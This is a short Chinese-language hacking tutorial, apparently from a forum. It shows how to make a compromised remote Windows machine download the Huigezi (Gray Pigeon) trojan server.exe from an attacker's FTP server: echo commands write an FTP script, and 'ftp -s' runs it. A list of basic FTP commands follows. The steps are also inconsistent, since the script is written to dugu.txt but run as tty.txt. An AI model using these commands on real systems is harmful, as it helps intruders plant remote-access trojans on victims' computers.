在远程计算机的CMD环境下，如果不能通过IPC$渠道传送文件，那就只有通过FTP下载文件了。
假设我们已经有一个FTP服务器，上面有一个我们配置好的灰鸽子木马文件server.exe,(或者其他木马)我们应该知道FTP服务器的三个参数：

1、FTP服务器的IP地址：如xxx.xxx.xxx.xxx
2、FTP服务器的用户名：如dugu
3、FTP服务器的密 码：如dugu123

在远程计算机的CMD下依次输入下面的命令：

1、echo open xxx.xxx.xxx.xxx>>dugu.txt 登陆FTP服务器
2、echo dugu>>dugu.txt 用户名
3、echo dugu123>>dugu.txt 密码
4、echo bin>>dugu.txt 开始
5、echo get server.exe>>dugu.txt 下载灰鸽子木马
6、echo bye>>dugu.txt 关闭FTP服务器

输入上面命令后，在远程计算机上就会生成一个tty.txt文件，内容为：
open xxx.xxx.xxx.xxx
dugu 
dugu123
bin
get server.exe
bye

现在我们在远程计算机上执行下面的命令：
ftp -s:tty.txt 意思是，读取tty.txt里的参数，执行ftp命令，命令执行完后，灰鸽子木马文件server.exe就下载到对方计算机里
下面就是最常用的几条FTP命令：

开始-运行 里输入ftp后就可以使用下面的命令了：
1. open：与ftp服务器相连接； 

2. send(put)：上传文件； 

3. get：下载文件； 

4. mget：下载多个文件； 

5. cd：切换目录； 

6. dir：查看当前目录下的文件； 

7. del：删除文件； 

8. bye：中断与服务器的连接。